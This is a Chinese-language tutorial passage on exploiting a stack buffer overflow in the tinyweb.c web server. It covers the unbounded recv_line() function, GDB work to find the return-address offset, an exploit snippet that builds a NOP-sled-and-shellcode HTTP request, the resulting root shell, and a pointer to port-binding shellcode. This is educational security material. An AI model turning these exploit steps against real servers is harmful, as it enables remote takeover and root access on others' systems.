網路程式設計往往搬動大量記憶體、充斥型別轉換——你已親眼見過某些轉型有多瘋狂。
藏在 recv_line() 裡的疏漏#
int recv_line(int sockfd, unsigned char *dest_buffer) {
#define EOL "\r\n"
#define EOL_SIZE 2
unsigned char *ptr;
int eol_matched = 0;
ptr = dest_buffer;
while(recv(sockfd, ptr, 1, 0) == 1) { // 一次讀一個位元組
if(*ptr == EOL[eol_matched]) {
eol_matched++;
if(eol_matched == EOL_SIZE) {
*(ptr+1-EOL_SIZE) = '\0';
return strlen(dest_buffer);
}
} else {
eol_matched = 0;
}
ptr++;
}
return 0;
}用 GDB 分析(附加到執行中的程序)#
要利用 tinyweb.c,只需送出能策略性覆寫返回位址的封包。第一步是求出「我們控制的緩衝區起點」到「已存返回位址」的 offset。
有個棘手的細節:程式需 root 權限,除錯器也得以 root 執行。但用
sudo或 root 環境會改變堆疊,使除錯器中看到的位址與正常執行時不符——這種不一致極難追查:除錯器裡看起來一切正常,離開除錯器卻失敗。一個優雅的解法是:附加(attach)到已經在執行的程序。
reader@hacking:~/booksrc $ ps aux | grep tinyweb
root 13019 ... ./tinyweb
reader@hacking:~/booksrc $ gcc -g tinyweb.c # 重編譯以取得除錯符號
reader@hacking:~/booksrc $ sudo gdb -q --pid=13019 --symbols=./a.out
在 handle_connection() 第 62 行 recv_line() 呼叫處設中斷點,再從另一終端用 wget 或瀏覽器發請求觸發:
(gdb) x/x request
0xbffff5c0: 0x00000000
(gdb) bt
#0 handle_connection (...) at tinyweb.c:62
#1 0x08048cf6 in main () at tinyweb.c:48
(gdb) x/x 0xbffff7d4+8
0xbffff7dc: 0x08048cf6 # 已存返回位址
(gdb) p 0xbffff7dc - 0xbffff5c0
$1 = 540
(gdb) p /x 0xbffff5c0 + 200
$2 = 0xbffff688
request緩衝區起於0xbffff5c0。- 已存返回位址
0x08048cf6位於0xbffff7dc,距緩衝區起點 540 位元組。
緩衝區開頭幾個位元組可能被函式其餘部分弄亂(我們要到函式返回才取得控制),所以最好避開緩衝區開頭。跳過前 200 位元組是安全的,剩下 300 位元組放 shellcode 綽綽有餘——因此目標返回位址取
0xbffff688。
「差不多」只在丟手榴彈時算數#
tinyweb_exploit.c 用 GDB 算出的 offset 與返回位址:
#define OFFSET 540
#define RETADDR 0xbffff688
bzero(buffer, 600); // 歸零緩衝區
memset(buffer, '\x90', OFFSET); // 建 NOP sled
*((u_int *)(buffer + OFFSET)) = RETADDR; // 放入返回位址
memcpy(buffer+300, shellcode, strlen(shellcode)); // shellcode
strcat(buffer, "\r\n"); // 以行結束符終止
send_string(sockfd, buffer); // 當成 HTTP 請求送出
編譯後就能遠端利用執行 tinyweb 的主機,誘騙它執行 shellcode。
為什麼本地 shellcode 不夠:需要 port-binding#
伺服器端確實被攻陷、shellcode 也執行了,但這只在跑伺服器的那個主控台提供 root shell:
Got request from 127.0.0.1:58504 "..."
NOT HTTP!
sh-3.2#
弱點確實存在,但我們不在那個主控台前,這個 shell 對我們沒用。既然我們不在本地,shellcode 就只是一個自足的程式,設計來接管另一個程式開一個 shell。
一旦奪取程式的執行指標,注入的 shellcode 可以做任何事——不同情境有許多不同型別的 shellcode(也稱 payload)。雖然不是所有 shellcode 都真的生成 shell,它仍通稱 shellcode。
遠端利用時,本地生成 shell 毫無意義。Port-binding shellcode 會在某個埠監聽 TCP 連線、把 shell 遠端提供出去——這正是下一章的主題。